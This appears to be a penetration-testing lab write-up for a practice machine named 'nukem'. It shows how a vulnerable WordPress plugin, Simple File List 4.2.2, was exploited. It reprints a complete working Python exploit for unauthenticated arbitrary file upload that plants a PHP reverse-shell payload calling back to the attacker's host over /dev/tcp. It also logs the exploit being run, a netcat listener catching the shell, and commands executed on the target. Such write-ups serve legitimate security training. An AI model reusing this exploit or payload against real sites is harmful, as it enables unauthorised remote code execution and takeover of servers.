RCE via Arbitrary File Upload
The target web application is vulnerable to due to the outdated plugin, Simple File List 4.2.2
, installed. Exploit available locally.
Exploit
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Exploit Title: Wordpress Plugin Simple File List 4.2.2 - Arbitrary File Upload
# Date: 2020-11-01
# Exploit Author: H4rk3nz0 based off exploit by coiffeur
# Original Exploit: https://www.exploit-db.com/exploits/48349
# Vendor Homepage: https://simplefilelist.com/
# Software Link: https://wordpress.org/plugins/simple-file-list/
# Version: Wordpress v5.4 Simple File List v4.2.2
import requests
import random
import hashlib
import sys
import os
import urllib3
urllib3.disable_warnings()
dir_path = '/wp-content/uploads/simple-file-list/'
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'
def usage():
banner = """
NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE
SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL>
AUTHOR: coiffeur
"""
print(banner)
def generate():
filename = f'{random.randint(0, 10000)}.png'
password = hashlib.md5(bytearray(random.getrandbits(8)
for _ in range(20))).hexdigest()
with open(f'{filename}', 'wb') as f:
payload = '<?php passthru("bash -i >& /dev/tcp/192.168.45.192/5000 0>&1"); ?>'
f.write(payload.encode())
print(f'[ ] File {filename} generated with password: {password}')
return filename, password
def upload(url, filename):
files = {'file': (filename, open(filename, 'rb'), 'image/png')}
datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path,
'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'}
r = requests.post(url=f'{url}{upload_path}',
data=datas, files=files, verify=False)
r = requests.get(url=f'{url}{dir_path}{filename}', verify=False)
if r.status_code == 200:
print(f'[ ] File uploaded at {url}{dir_path}{filename}')
os.remove(filename)
else:
print(f'[*] Failed to upload {filename}')
exit(-1)
return filename
def move(url, filename):
new_filename = f'{filename.split(".")[0]}.php'
headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
'X-Requested-With': 'XMLHttpRequest'}
datas = {'eeSFL_ID': 1, 'eeFileOld': filename,
'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'}
r = requests.post(url=f'{url}{move_path}',
data=datas, headers=headers, verify=False)
if r.status_code == 200:
print(f'[ ] File moved to {url}{dir_path}{new_filename}')
else:
print(f'[*] Failed to move {filename}')
exit(-1)
return new_filename
def main(url):
file_to_upload, password = generate()
uploaded_file = upload(url, file_to_upload)
moved_file = move(url, uploaded_file)
if moved_file:
print(f'[+] Exploit seem to work.\n[*] Confirmning ...')
datas = {'password': password, 'cmd': 'phpinfo();'}
r = requests.post(url=f'{url}{dir_path}{moved_file}',
data=datas, verify=False)
if r.status_code == 200 and r.text.find('php') != -1:
print('[+] Exploit work !')
print(f'\tURL: {url}{dir_path}{moved_file}')
print(f'\tPassword: {password}')
if __name__ == "__main__":
if (len(sys.argv) < 2):
usage()
exit(-1)
main(sys.argv[1])
Exploit required a little bit of modification to set the listening host to Kali It uses the PHP’s passthru function for code execution
Exploitation
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nukem]
└─$ python3 exploit-simple_file_list.py http://$IP
[ ] File 9557.png generated with password: 8c19af7adf5ac30ac44eaf8f2aff9c75
[ ] File uploaded at http://192.168.113.105/wp-content/uploads/simple-file-list/9557.png
[ ] File moved to http://192.168.113.105/wp-content/uploads/simple-file-list/9557.php
[+] Exploit seem to work.
[*] Confirmning ...
Executing the exploit script
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nukem]
└─$ curl -s http://192.168.113.105/wp-content/uploads/simple-file-list/9557.php
Invoking the payload
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nukem]
└─$ nnc 5000
listening on [any] 5000 ...
connect to [192.168.45.192] from (UNKNOWN) [192.168.113.105] 49874
bash: cannot set terminal process group (300): Inappropriate ioctl for device
bash: no job control in this shell
[http@nukem simple-file-list]$ whoami
whoami
http
[http@nukem simple-file-list]$ hostname
hostname
nukem
[http@nukem simple-file-list]$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:78:97 brd ff:ff:ff:ff:ff:ff
altname enp11s0
inet 192.168.113.105/24 brd 192.168.113.255 scope global ens192
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fe9e:7897/64 scope link
valid_lft forever preferred_lft forever
Initial Foothold established to the target system as the http
account via exploiting the vulnerable WordPress plugin; Simple File List 4.2.2